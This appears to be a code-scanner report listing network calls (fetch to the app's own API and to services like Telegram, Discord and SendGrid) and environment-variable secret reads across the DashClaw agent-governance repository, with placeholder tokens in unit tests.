  • net ucsandman-DashClaw-481c747/app/approvals/page.tsx :105 const res = await fetch(`/api/actions?status=pending_approval&limit=50${agentQs}`, { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/approve/page.tsx :129 fetch('/api/actions?status=pending_approval&limit=50', { cache: 'no-store' }),
  • net ucsandman-DashClaw-481c747/app/assumptions/page.tsx :75 const res = await fetch(`/api/actions/assumptions?${params}`);
  • net ucsandman-DashClaw-481c747/app/audit-log/page.tsx :93 const res = await fetch(`/api/activity?${params}`);
  • net ucsandman-DashClaw-481c747/app/calibration/page.jsx :92 const res = await fetch('/api/calibration/controller');
  • net ucsandman-DashClaw-481c747/app/claim/page.tsx :41 const res = await fetch('/api/hosted/claim', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/components/ApprovalFloodBanner.tsx :28 const res = await fetch('/api/approvals/floods', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/components/ArtifactsTab.tsx :126 const res = await fetch(`/api/actions/${actionId}/artifacts`);
  • net ucsandman-DashClaw-481c747/app/components/ClaimWorkspaceBanner.tsx :15 cachedProbe = fetch('/api/hosted/claim', { cache: 'no-store' })
  • net ucsandman-DashClaw-481c747/app/components/ConnectAgentButton.tsx :25 const res = await fetch('/api/team');
  • net ucsandman-DashClaw-481c747/app/components/CopyMarkdownButton.tsx :23 const res = await fetch(href as string);
  • net ucsandman-DashClaw-481c747/app/components/DoctorPanel.tsx :38 const res = await fetch('/api/doctor');
  • net ucsandman-DashClaw-481c747/app/components/GovernanceSignalsPanel.tsx :86 const res = await fetch(`/api/signals${agentId ? `?agent_id=${agentId}` : ''}`);
  • net ucsandman-DashClaw-481c747/app/components/HostedTrialCTA.tsx :13 * no capacity fetch (same-origin /api/hosted 404s here), always visible.
  • net ucsandman-DashClaw-481c747/app/components/LiveDemo.tsx :118 const res = await fetch('/api/guard', {
  • net ucsandman-DashClaw-481c747/app/components/NotificationCenter.tsx :41 const res = await fetch('/api/actions?status=pending_approval&limit=20', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/components/ObserveModeBanner.tsx :28 const res = await fetch('/api/signals', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/components/QuickStart.tsx :41 fetch('/api/keys/reveal', { credentials: 'same-origin' })
  • net ucsandman-DashClaw-481c747/app/components/SetupBanner.tsx :11 fetch('/api/setup/status')
  • net ucsandman-DashClaw-481c747/app/components/SystemStatusBar.tsx :27 const res = await fetch(`/api/signals${agentId ? `?agent_id=${agentId}` : ''}`);
  • net ucsandman-DashClaw-481c747/app/components/UserMenu.tsx :79 await fetch('/api/auth/local', { method: 'DELETE' });
  • net ucsandman-DashClaw-481c747/app/components/VerifyReceiptPanel.tsx :41 const res = await fetch('/api/integrity/verify', {
  • net ucsandman-DashClaw-481c747/app/components/context-menu/actionRegistry.tsx :96 const res = await fetch(url, {
  • net ucsandman-DashClaw-481c747/app/connect/ExportWorkspaceButton.jsx :19 const res = await fetch('/api/workspace/export');
  • net ucsandman-DashClaw-481c747/app/connect/FirstGovernedActionCard.jsx :64 const res = await fetch('/api/guard?record=true', {
  • net ucsandman-DashClaw-481c747/app/connect/HostedProvisionClient.jsx :48 const res = await fetch('/api/hosted/workspaces', {
  • net ucsandman-DashClaw-481c747/app/decisions/[actionId]/page.tsx :64 const res = await fetch(`/api/actions/${actionId}`);
  • net ucsandman-DashClaw-481c747/app/decisions/page.tsx :223 const res = await fetch(`/api/actions?${params}`);
  • net (weak) ucsandman-DashClaw-481c747/app/docs/page.tsx :913 {`const res = await fetch(\`\${baseUrl}/api/policies/generate\`, {
  • net ucsandman-DashClaw-481c747/app/guides/platform/PlatformGuideClient.tsx :28 fetch('/guides/platform-guide-data.json')
  • net ucsandman-DashClaw-481c747/app/guides/platform/components/PolicyPlayground.tsx :119 const res = await fetch(`${config.baseUrl.replace(/\/$/, '')}/api/policies/simulate`, {
  • net ucsandman-DashClaw-481c747/app/guides/platform/components/TryItPanel.tsx :46 const res = await fetch(`${config.baseUrl.replace(/\/$/, '')}${path}`, {
  • net ucsandman-DashClaw-481c747/app/hooks/useEffectiveRole.ts :33 const res = await fetch('/api/session/effective');
  • net ucsandman-DashClaw-481c747/app/identities/page.tsx :104 fetch('/api/pairings?status=pending&limit=200'),
  • net ucsandman-DashClaw-481c747/app/integrations/page.tsx :91 const res = await fetch('/api/agents/connections');
  • net ucsandman-DashClaw-481c747/app/lib/AgentFilterContext.tsx :53 const res = await fetch('/api/agents');
  • net ucsandman-DashClaw-481c747/app/lib/actionAlerts.ts :89 const res = await fetch(webhookUrl, {
  • net ucsandman-DashClaw-481c747/app/lib/approvalNotifications.ts :55 await fetch(
  • net ucsandman-DashClaw-481c747/app/lib/capability-invoke.ts :16 import { fetch } from 'undici';
  • net ucsandman-DashClaw-481c747/app/lib/discordApprovals.ts :147 const res = await fetch(`${DISCORD_API}/users/@me/channels`, {
  • net ucsandman-DashClaw-481c747/app/lib/doctor/checks/sdk.mjs :6 * `?host=` or the `Host` header — because this URL is used to `fetch()`
  • net ucsandman-DashClaw-481c747/app/lib/hosted/turnstile.ts :32 const res = await fetch(SITEVERIFY_URL, {
  • net ucsandman-DashClaw-481c747/app/lib/integration-health.ts :29 const res = await fetch(url, { ...options, signal: controller.signal, redirect: 'manual' });
  • net ucsandman-DashClaw-481c747/app/lib/jwks-verifier.ts :79 const res = await fetch(jwksUrl, { signal: ctrl.signal });
  • net ucsandman-DashClaw-481c747/app/lib/marketingTrack.ts :34 void fetch(ENDPOINT, {
  • net ucsandman-DashClaw-481c747/app/lib/notification-adapters/discord.ts :14 import { fetch } from 'undici';
  • net ucsandman-DashClaw-481c747/app/lib/notification-adapters/email.ts :52 const res = await fetch('https://api.sendgrid.com/v3/mail/send', {
  • net ucsandman-DashClaw-481c747/app/lib/notification-adapters/github.ts :24 const res = await fetch(`https://api.github.com/repos/${repo}/issues`, {
  • net ucsandman-DashClaw-481c747/app/lib/notification-adapters/linear.ts :17 const teamQuery = await fetch('https://api.linear.app/graphql', {
  • net ucsandman-DashClaw-481c747/app/lib/notification-adapters/slack.ts :14 import { fetch } from 'undici';
  • net ucsandman-DashClaw-481c747/app/lib/providers.ts :112 return await fetch(url as string, { ...options, signal: controller.signal });
  • net ucsandman-DashClaw-481c747/app/lib/repositories/guardrails.repository.ts :288 /** Single policy fetch (bulk approval resolution reads its rules). */
  • net ucsandman-DashClaw-481c747/app/lib/telegramApprovals.ts :133 const res = await fetch(`${TELEGRAM_API_BASE}/bot${token}/sendMessage`, {
  • net ucsandman-DashClaw-481c747/app/lib/url-safety.ts :15 import net from 'node:net';
  • net ucsandman-DashClaw-481c747/app/lib/webhooks.ts :8 import net from 'node:net';
  • net ucsandman-DashClaw-481c747/app/login/LocalPasswordForm.tsx :18 const res = await fetch('/api/auth/local', {
  • net ucsandman-DashClaw-481c747/app/login/LoginClient.tsx :60 const res = await fetch('/api/auth/local', {
  • net ucsandman-DashClaw-481c747/app/policies/components/GeneratePanel.tsx :57 const res = await fetch('/api/policies/generate', {
  • net ucsandman-DashClaw-481c747/app/policies/components/ImportPanel.tsx :30 fetch('/api/policies/templates')
  • net ucsandman-DashClaw-481c747/app/policies/components/Ledger.tsx :183 const res = await fetch('/api/policies', {
  • net ucsandman-DashClaw-481c747/app/policies/components/PolicyRuleBuilderSection.tsx :155 fetch('/api/agents')
  • net ucsandman-DashClaw-481c747/app/policies/components/PresetsShields.tsx :58 const res = await fetch('/api/policies');
  • net ucsandman-DashClaw-481c747/app/policies/components/ProofExportPanel.tsx :27 const res = await fetch(`/api/policies/proof?format=${fmt}`);
  • net ucsandman-DashClaw-481c747/app/policies/components/TestPanel.tsx :24 const res = await fetch('/api/policies/test', {
  • net ucsandman-DashClaw-481c747/app/policies/components/TriageInbox.tsx :808 const res = await fetch(`/api/policies?id=${encodeURIComponent(id)}`, { method: 'DELETE' });
  • net ucsandman-DashClaw-481c747/app/policies/lib/calibrationClient.ts :80 const res = await fetch(url);
  • net ucsandman-DashClaw-481c747/app/policies/lib/contractClient.ts :17 const res = await fetch('/api/policies/contract');
  • net ucsandman-DashClaw-481c747/app/policies/lib/looseningClient.ts :91 const res = await fetch(url);
  • net ucsandman-DashClaw-481c747/app/policies/lib/modesClient.ts :55 const res = await fetch('/api/policies/modes');
  • net ucsandman-DashClaw-481c747/app/policies/lib/proposalsClient.ts :54 const res = await fetch(url);
  • net ucsandman-DashClaw-481c747/app/policies/lib/tighteningClient.ts :55 const res = await fetch(url);
  • net ucsandman-DashClaw-481c747/app/proof/page.tsx :10 // unset at build time fetchLiveEvidence returns before fetch() runs, so no
  • net ucsandman-DashClaw-481c747/app/replay/[actionId]/page.tsx :160 const res = await fetch(`/api/actions/${actionId}`);
  • net ucsandman-DashClaw-481c747/app/sessions/[sessionId]/page.tsx :73 fetch(`/api/sessions/${sessionId}`),
  • net ucsandman-DashClaw-481c747/app/sessions/page.tsx :73 const res = await fetch(`/api/sessions?limit=100${agentId ? `&agent_id=${encodeURIComponent(agentId)}` : ''}`, { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/settings/components/AgentIdentityPanel.tsx :62 const res = await fetch('/api/settings?key=ENFORCE_AGENT_SIGNATURES');
  • net ucsandman-DashClaw-481c747/app/settings/components/ApiKeyReveal.tsx :34 const res = await fetch('/api/keys/reveal');
  • net ucsandman-DashClaw-481c747/app/settings/components/BillingPanel.tsx :43 fetch('/api/usage', { cache: 'no-store' })
  • net ucsandman-DashClaw-481c747/app/settings/components/ConnectNextStepPanel.tsx :29 const res = await fetch('/api/setup/ping', {
  • net ucsandman-DashClaw-481c747/app/settings/components/GovernancePanel.tsx :47 const sRes = await fetch('/api/settings');
  • net ucsandman-DashClaw-481c747/app/settings/components/ModelPricingPanel.tsx :31 const res = await fetch('/api/settings?key=MODEL_PRICING');
  • net ucsandman-DashClaw-481c747/app/team-tasks/page.tsx :34 const res = await fetch('/api/team-tasks?limit=100', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/team/page.tsx :51 const res = await fetch('/api/team/invites', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/usage/page.jsx :34 const res = await fetch('/api/usage', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/app/webhooks/page.tsx :110 const res = await fetch('/api/webhooks');
  • net ucsandman-DashClaw-481c747/app/widget/page.jsx :94 const res = await fetch('/api/widget/pulse', { cache: 'no-store' });
  • net ucsandman-DashClaw-481c747/cli/lib/api.js :37 const res = await fetch(url, {
  • net ucsandman-DashClaw-481c747/cli/lib/backfill.js :92 res = await fetch(`${baseUrl}/api/actions`, {
  • net ucsandman-DashClaw-481c747/cli/lib/codex/notify.js :26 import { request } from 'node:http';
  • net (weak) ucsandman-DashClaw-481c747/cli/test/codex/notify.test.js :7 import http from 'node:http';
  • net (weak) ucsandman-DashClaw-481c747/examples/governed-chat-harness/tools.js :18 import net from 'node:net';
  • net ucsandman-DashClaw-481c747/mcp-server/lib/client.js :88 async fetch(path, opts = {}) {
  • net ucsandman-DashClaw-481c747/mcp-server/lib/dashclaw/client.js :73 return await fetch(url.toString(), {
  • net ucsandman-DashClaw-481c747/mcp-server/lib/tools.js :379 // Parse a client.fetch() response and make failure STRUCTURAL: on non-2xx (or
  • net ucsandman-DashClaw-481c747/mcp-server/src/client.ts :119 async fetch(path: string, opts: DashClawFetchOptions = {}): Promise<DashClawHttpResponse> {
  • net ucsandman-DashClaw-481c747/mcp-server/src/dashclaw/client.ts :102 return await fetch(url.toString(), {
  • net ucsandman-DashClaw-481c747/mcp-server/src/tools.ts :423 // Parse a client.fetch() response and make failure STRUCTURAL: on non-2xx (or
  • net ucsandman-DashClaw-481c747/middleware.js :274 const res = await fetch(`${urlBase}/${path}`, {
  • net ucsandman-DashClaw-481c747/packages/openclaw-plugin/dist/auto-pairing.js :54 const res = await fetch(apiUrl(config, `/api/messages?agent_id=${encodeURIComponent(config.agentId)}&direction=inbox&unread=true&limit=50`), { headers: { 'x-api-key': config.dashclawApiKey } });
  • net ucsandman-DashClaw-481c747/packages/openclaw-plugin/src/auto-pairing.ts :72 const res = await fetch(
  • net ucsandman-DashClaw-481c747/public/sw.js :70 fetch(request)
  • net (weak) ucsandman-DashClaw-481c747/scripts/bench-guard-hotpath.mjs :84 const res = await fetch(`${BASE}${path}`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/check-production-ready.mjs :128 const res = await fetch(`${LIVE_BASE_URL}/api/health`, { signal: AbortSignal.timeout(5000) });
  • net (weak) ucsandman-DashClaw-481c747/scripts/check-sdk-cross-integration.mjs :55 // SSE uses fetch() directly — stub it out so waitForApproval falls through
  • net (weak) ucsandman-DashClaw-481c747/scripts/cross-org-smoke.mjs :59 const res = await fetch(`${BASE}${path}`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/demo-agent.mjs :4 * Uses native fetch (Node 18+) to call the local DashClaw API directly.
  • net (weak) ucsandman-DashClaw-481c747/scripts/demo-entrypoint.mjs :9 const res = await fetch(`${BASE_URL}/api/health`);
  • net (weak) ucsandman-DashClaw-481c747/scripts/drills/claim-flow.mjs :71 const res = await fetch(url, { ...init, headers, signal: controller.signal, redirect: 'manual' });
  • net (weak) ucsandman-DashClaw-481c747/scripts/drills/fresh-linux.mjs :56 if node -e "require('http').get('http://localhost:3000/api/health', (r) => process.exit(r.statusCode===200?0:1)).on('error', () => process.exit(1))"; then
  • net (weak) ucsandman-DashClaw-481c747/scripts/drills/hosted-stranger.mjs :71 const res = await fetch(url, { ...init, signal: controller.signal });
  • net (weak) ucsandman-DashClaw-481c747/scripts/guard-load.mjs :157 res = await fetch(`${BASE}/api/guard`, { method: 'POST', headers: HEADERS, body: guardBody() });
  • net (weak) ucsandman-DashClaw-481c747/scripts/lib/startup-smoke.mjs :2 import { createServer } from 'node:net';
  • net (weak) ucsandman-DashClaw-481c747/scripts/live-canary.mjs :167 const res = await fetch(target, { ...request, signal: controller.signal });
  • net (weak) ucsandman-DashClaw-481c747/scripts/measurement-read.mjs :63 const res = await fetch(url);
  • net (weak) ucsandman-DashClaw-481c747/scripts/policy-smoke.mjs :62 const res = await fetch(`${BASE}${path}`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/regen-platform-guide-examples.mjs :82 const res = await fetch(BASE + path, { method, headers, body: body ? JSON.stringify(body) : undefined });
  • net (weak) ucsandman-DashClaw-481c747/scripts/release-mcp-server.mjs :42 const res = await fetch(
  • net (weak) ucsandman-DashClaw-481c747/scripts/release-prep.mjs :30 import { connect } from 'node:net';
  • net (weak) ucsandman-DashClaw-481c747/scripts/release-sdks.mjs :35 const res = await fetch(`https://pypi.org/pypi/${pkg}/${version}/json`, { method: 'GET' });
  • net (weak) ucsandman-DashClaw-481c747/scripts/report-action.mjs :189 const res = await fetch(url, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/report-tokens.mjs :142 const res = await fetch(url, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/run-demo.mjs :16 const res = await fetch(`${url}/api/health`);
  • net (weak) ucsandman-DashClaw-481c747/scripts/smoke-hosted.mjs :45 const provisionRes = await fetch(`${base}/api/hosted/workspaces`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/startup-smoke.mjs :176 const res = await fetch(`${options.baseUrl.replace(/\/$/, '')}/api/doctor?category=write-canary`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/telegram-register-webhook.mjs :37 const infoRes = await fetch(`https://api.telegram.org/bot${token}/getWebhookInfo`);
  • net (weak) ucsandman-DashClaw-481c747/scripts/telegram-setup-wizard.mjs :60 const res = await fetch(`${TELEGRAM_API}/bot${token}/${method}`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/telegram-verify-loop.mjs :34 const del = await fetch(
  • net (weak) ucsandman-DashClaw-481c747/scripts/test-actions.mjs :47 const res = await fetch(`${BASE_URL}${path}`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/test-full-api.mjs :67 const res = await fetch(`${BASE_URL}${path}`, {
  • net (weak) ucsandman-DashClaw-481c747/scripts/test-realtime.mjs :1 import { fetch } from 'undici';
  • net (weak) ucsandman-DashClaw-481c747/scripts/upload-skill.mjs :52 const res = await fetch(`${API_BASE}/skills`, {
  • net ucsandman-DashClaw-481c747/sdk/dashclaw.js :322 res = await fetch(this._buildUrl(path, params), {

secrets 114

  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/app/lib/webhooks.test.ts :61 delete process.env.GUARD_WEBHOOK_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/approval-goal-visibility.test.js :14 process.env.TELEGRAM_BOT_TOKEN = 'test-bot-token';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/approval-notifications.test.js :21 process.env.DISCORD_BOT_TOKEN = 'disc-token';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/connect-complete-discord-alert.test.js :93 process.env.DASHCLAW_API_KEY = 'dck_fake_key_must_not_leak_abcdef123';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/cron-auth.test.js :44 const savedSecret = process.env.CRON_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/cron-org-default-scope.test.js :64 envBefore.CRON_SECRET = process.env.CRON_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/cron-outcome-sweep.route.test.js :53 const savedSecret = process.env.CRON_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/discord-approvals.test.js :29 process.env.DISCORD_BOT_TOKEN = 'DBOT';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/discord-interactions-route.test.js :93 process.env.DISCORD_BOT_TOKEN = 'DBOT';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-characterization.test.js :52 const savedGuardKey = process.env.GUARD_LLM_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-containment-negotiation.test.js :60 const originalGuardLlmKey = process.env.GUARD_LLM_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-containment-promotion.test.js :71 process.env.GUARD_LLM_KEY = 'mock-key-for-unit-tests';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-engine.test.js :38 const originalGuardLlmKey = process.env.GUARD_LLM_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-plan-grant.test.js :59 const originalGuardLlmKey = process.env.GUARD_LLM_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/guard-simulate.test.js :34 const originalGuardLlmKey = process.env.GUARD_LLM_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/health-tables.test.js :21 process.env.NEXTAUTH_SECRET = 'test-secret';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/health.route.test.js :30 process.env.NEXTAUTH_SECRET = 'test-secret';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/hosted/middleware-trial-enforcement.test.js :60 process.env.DASHCLAW_API_KEY = 'oc_live_sentinel_master_key_not_used_in_tests';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/hosted/publicConfig.test.js :28 process.env.TURNSTILE_SECRET_KEY = 'secret-must-not-leak';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/hosted/turnstile.test.js :13 delete process.env.TURNSTILE_SECRET_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/hosted/workspace-admin.test.js :132 delete process.env.HOSTED_CLEANUP_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/hosted/workspace-provision.test.js :268 process.env.TURNSTILE_SECRET_KEY = 'secret';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/policy-modes-compile.test.ts :144 const originalGuardLlmKey = process.env.GUARD_LLM_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/security-status.route.test.js :16 delete process.env.ENCRYPTION_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/synthetic-sweep-route.test.js :42 const savedSecret = process.env.CRON_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/telegram-approvals.test.js :14 process.env.TELEGRAM_BOT_TOKEN = 'test-token';
  • secrets (weak) ucsandman-DashClaw-481c747/__tests__/unit/telegram-webhook-route.test.js :32 process.env.TELEGRAM_BOT_TOKEN = 'TBOT';
  • secrets ucsandman-DashClaw-481c747/app/api/auth/local/route.ts :72 const password = process.env.DASHCLAW_LOCAL_ADMIN_PASSWORD;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/integration-health/route.ts :13 const secret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/jti-sweep/route.ts :26 const cronSecret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/memory-maintenance/route.ts :16 const cronSecret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/outcome-sweep/route.ts :57 const cronSecret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/policy-suggestions/route.ts :12 const cronSecret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/signals/route.ts :58 const cronSecret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/cron/synthetic-sweep/route.ts :25 const cronSecret = process.env.CRON_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/api/hosted/cleanup/route.ts :24 if (xSecret && process.env.HOSTED_CLEANUP_SECRET && timingSafeCompare(xSecret, process.env.HOSTED_CLEANUP_SECRET)) {
  • secrets ucsandman-DashClaw-481c747/app/api/hosted/workspaces/route.ts :121 const hasSession = Boolean(process.env.NEXTAUTH_SECRET);
  • secrets ucsandman-DashClaw-481c747/app/api/internal/resolve-key/route.ts :35 const operatorKey = process.env.DASHCLAW_API_KEY || '';
  • secrets ucsandman-DashClaw-481c747/app/api/keys/reveal/route.ts :11 * Returns the bootstrap API key (`process.env.DASHCLAW_API_KEY`) so the
  • secrets ucsandman-DashClaw-481c747/app/api/oauth/authorize/route.ts :62 const session = await getToken({ req: request as unknown as Parameters<typeof getToken>[0]['req'], secret: process.env.NEXTAUTH_SECRET });
  • secrets ucsandman-DashClaw-481c747/app/api/security/status/route.ts :37 const encKey = process.env.ENCRYPTION_KEY;
  • secrets ucsandman-DashClaw-481c747/app/api/settings/route.ts :80 if (process.env.NODE_ENV === 'production' && !process.env.ENCRYPTION_KEY) {
  • secrets ucsandman-DashClaw-481c747/app/api/setup/migrate/route.ts :156 const configuredKey = process.env.DASHCLAW_API_KEY;
  • secrets ucsandman-DashClaw-481c747/app/api/setup/ping/route.ts :64 const expectedKey = process.env.DASHCLAW_API_KEY;
  • secrets ucsandman-DashClaw-481c747/app/api/telegram/webhook/route.ts :25 const token = process.env.TELEGRAM_BOT_TOKEN;
  • secrets ucsandman-DashClaw-481c747/app/api/webhooks/stripe/route.ts :27 const webhookSecret = process.env.STRIPE_WEBHOOK_SECRET;
  • secrets (weak) ucsandman-DashClaw-481c747/app/docs/page.tsx :281 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets ucsandman-DashClaw-481c747/app/guides/openai-agents-sdk/page.tsx :36 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets ucsandman-DashClaw-481c747/app/guides/vercel-ai-sdk/page.tsx :58 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets ucsandman-DashClaw-481c747/app/landingData.js :75 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets ucsandman-DashClaw-481c747/app/lib/approvalNotifications.ts :52 const token = process.env.DISCORD_BOT_TOKEN;
  • secrets ucsandman-DashClaw-481c747/app/lib/auth.ts :15 const GITHUB_SECRET = process.env.GITHUB_SECRET || process.env.GITHUB_CLIENT_SECRET;
  • secrets ucsandman-DashClaw-481c747/app/lib/billing-stripe.ts :10 const key = process.env.STRIPE_SECRET_KEY;
  • secrets ucsandman-DashClaw-481c747/app/lib/connectPrompt.ts :40 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/app/lib/demo/fixtures/journey-agents.ts :65 metadata: JSON.stringify({ example: 'const dc = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: \'my-agent\' }); await dc.actions.record({ action_
  • secrets (weak) ucsandman-DashClaw-481c747/app/lib/demo/fixtures/persona-agents.ts :177 'Install the SDK with npm install dashclaw, then initialize with: const dc = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: \'my-agent\' }). Wrap
  • secrets (weak) ucsandman-DashClaw-481c747/app/lib/demo/fixtures/tutorial-threads.ts :322 ' apiKey: process.env.DASHCLAW_API_KEY,',
  • secrets ucsandman-DashClaw-481c747/app/lib/discordApprovals.ts :66 if (!process.env.DISCORD_BOT_TOKEN) return false;
  • secrets ucsandman-DashClaw-481c747/app/lib/encryption.ts :12 const key = process.env.ENCRYPTION_KEY;
  • secrets ucsandman-DashClaw-481c747/app/lib/hosted/turnstile.ts :14 const secret = process.env.TURNSTILE_SECRET_KEY;
  • secrets ucsandman-DashClaw-481c747/app/lib/notifications.ts :28 const apiKey = process.env.RESEND_API_KEY;
  • secrets ucsandman-DashClaw-481c747/app/lib/setup/auth-gate.ts :26 const envKey = process.env.DASHCLAW_API_KEY;
  • secrets ucsandman-DashClaw-481c747/app/lib/starterSnippet.ts :38 * `process.env.DASHCLAW_API_KEY`.
  • secrets ucsandman-DashClaw-481c747/app/lib/telegramApprovals.ts :63 if (!process.env.TELEGRAM_BOT_TOKEN) return false;
  • secrets ucsandman-DashClaw-481c747/app/lib/validateEnv.ts :46 if (process.env.OIDC_CLIENT_ID || process.env.OIDC_CLIENT_SECRET || process.env.OIDC_ISSUER_URL) {
  • secrets ucsandman-DashClaw-481c747/app/lib/webhooks.ts :622 const guardSecret = process.env.GUARD_WEBHOOK_SECRET || '';
  • secrets ucsandman-DashClaw-481c747/app/login/page.tsx :4 const localAuthEnabled = !!process.env.DASHCLAW_LOCAL_ADMIN_PASSWORD;
  • secrets ucsandman-DashClaw-481c747/app/self-host/SetupTabs.tsx :222 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/agent-chat-complete.js :12 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/anthropic-governed-agent/index.js :13 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/approval-flow.js :7 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/claude-code-review-agent/index.js :16 const apiKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/examples/first-governed-action.js :7 apiKey: process.env.DASHCLAW_API_KEY || "demo",
  • secrets (weak) ucsandman-DashClaw-481c747/examples/governed-chat-harness/index.js :9 const API_KEY = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/examples/guard-and-act.js :7 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/kimi_dashclaw_test.js :15 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/openai-agents-governed/index.js :14 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/examples/openai-deploy-pipeline/index.js :17 const apiKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/examples/openai-governed-agent/index.js :18 const apiKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/examples/proof-pack/proof-pack.mjs :11 if (!process.env.DASHCLAW_API_KEY) {
  • secrets (weak) ucsandman-DashClaw-481c747/examples/vercel-ai-governed/index.mjs :21 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets ucsandman-DashClaw-481c747/mcp-server/lib/dashclaw/client.js :50 const apiKey = process.env.DASHCLAW_API_KEY?.trim();
  • secrets ucsandman-DashClaw-481c747/mcp-server/lib/index.js :47 process.env.DASHCLAW_API_KEY = value;
  • secrets ucsandman-DashClaw-481c747/mcp-server/lib/server.js :159 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets ucsandman-DashClaw-481c747/mcp-server/src/dashclaw/client.ts :74 const apiKey = process.env.DASHCLAW_API_KEY?.trim();
  • secrets ucsandman-DashClaw-481c747/mcp-server/src/index.ts :49 if (value) process.env.DASHCLAW_API_KEY = value;
  • secrets ucsandman-DashClaw-481c747/mcp-server/src/server.ts :205 apiKey: process.env.DASHCLAW_API_KEY,
  • secrets (weak) ucsandman-DashClaw-481c747/mcp-server/test/dashclaw.test.ts :8 delete process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/mcp-server/test/registration.test.ts :28 delete process.env.DASHCLAW_API_KEY;
  • secrets ucsandman-DashClaw-481c747/middleware.js :267 const token = process.env.UPSTASH_REDIS_REST_TOKEN || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/auto-migrate.mjs :286 const configuredKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/bench-guard-hotpath.mjs :65 let KEY = argValue('--key', process.env.DASHCLAW_API_KEY || null);
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/demo-agent.mjs :8 const API_KEY = process.env.DASHCLAW_API_KEY || 'demo-key';
